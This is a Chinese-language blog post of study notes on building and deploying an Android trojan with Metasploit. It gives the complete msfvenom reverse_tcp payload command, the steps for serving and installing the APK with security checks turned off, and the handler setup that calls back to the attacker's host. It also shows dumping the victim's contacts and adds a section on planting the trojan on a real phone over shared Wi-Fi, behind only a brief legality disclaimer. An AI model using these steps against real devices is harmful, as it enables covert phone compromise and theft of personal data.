我的MSF之Android木马渗透的学习笔记

免责声明：以下内容仅供学习参考，如果用于任何非法途径，后果自负，希望大家做一个遵纪守法的好公民，一起保护国家的的网络安全！！！

环境准备

攻击机：kali

靶机：Android

一、入侵操作

1.木马制作

通过msfvenom制作安卓木马

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.9.136.152 LPORT=4444 R >android_yuanboss.apk

2.开启http服务

在 kali 终端输入以下命令开启http服务

python3 -m http.server 80

3.靶机下载木马

由于此安卓虚拟机bug问题，我们无法在该靶机的浏览器中输入对应 ip去下载木马，而是需要到终端输入命令来下载木马:

终端下载命令：

wget 10.9.136.152/android_yuanboss.apk

但是发现下载失败，因为android当前目录下是只读文件系统，我们如果需要下载东西，就需要到sdcard目录中进行下载:

cd sdcard
wget 10.9.136.152/android_yuanboss.apk

如图所示，表示下载成功：

4.安装木马

打开Android中的文件之后，如图所示：

最后一个就是我们下载的木马，我们直接傻瓜式安装即可，其中注意安装过程中取消安全检查。

安装完之后，可以在桌面中看到如下图标:

5.监听的配置

1.选择后门模块（必须进行这一步模块的选择，否则无法进行后面的步骤）

use exploit/multi/handler 

2.设置攻击载荷 payload(和创建木马的载荷一样)

set payload android/meterpreter/reverse_tcp 

3.设置攻击机的 ip (和创建木马时的 ip 一样)

 set lhost 10.9.136.152

4.设置攻击机的端口 port (和创建木马时的端口一样)

set lport 4444

上述监听配置如图所示：

6.启动监听

run

如图所示：

7.木马上线

在靶机中打开木马程序

8.监听成功

二、渗透操作

1.获取手机通讯录

首先在靶机中的通讯录中添加信息，然后运行木马程序，然后到 kali中运行如下命令:

dump_contacts 

根据日志可以得知，通讯录信息存放到了当前目录下的 contacts_dump_20230607062727.txt文件中

接下来通过 cat命令查看该文件：

我们可以看到，已经成功获取通讯录信息

三、手机植入木马实战

实操逻辑和上述内容是一样的，只要确保 kali 可以与手机的 ip 相连，就可以实现木马植入。

所以难点在于如何使我们的 kali 和 手机相连，让 kali 与安卓手机相连的流程如下：

如下图所示，我们只需要确保我们的电脑与安卓手机连接同一个无线路由器，为了确保物理机中的kali能和安卓手机处于同一个网段，我们需要给kali设置为桥接模式，并且在虚拟网络编辑器中给桥接网络设置网卡为无线网卡，无线网卡的名字可以在物理机的批处理窗口中通过 ipconfig /all 查看，无线局域网适配器 WLAN的描述内容即为无线网卡名称 。配置好虚拟机之后，查看 kali 与安卓手机的ip地址，即可发现处于同一网段，并且可以kali可以ping通安卓手机的 ip。

确保 kali 与 安卓 相连成功之后，执行上面的入侵操作与渗透操作即可！

四、总结

Android入侵与Windows是一样的，只需要确保攻击机器与靶机之间网络可以连通，就可以实现渗透利用。

要注意Android文件只有只读权限，我们需要切换到sdcard目录，才能实现文件的下载

文件下载的命令是：

wget ip/文件名
例如： weget 10.9.136.152/android_yuanboss.apk

执行上面的入侵操作与渗透操作即可！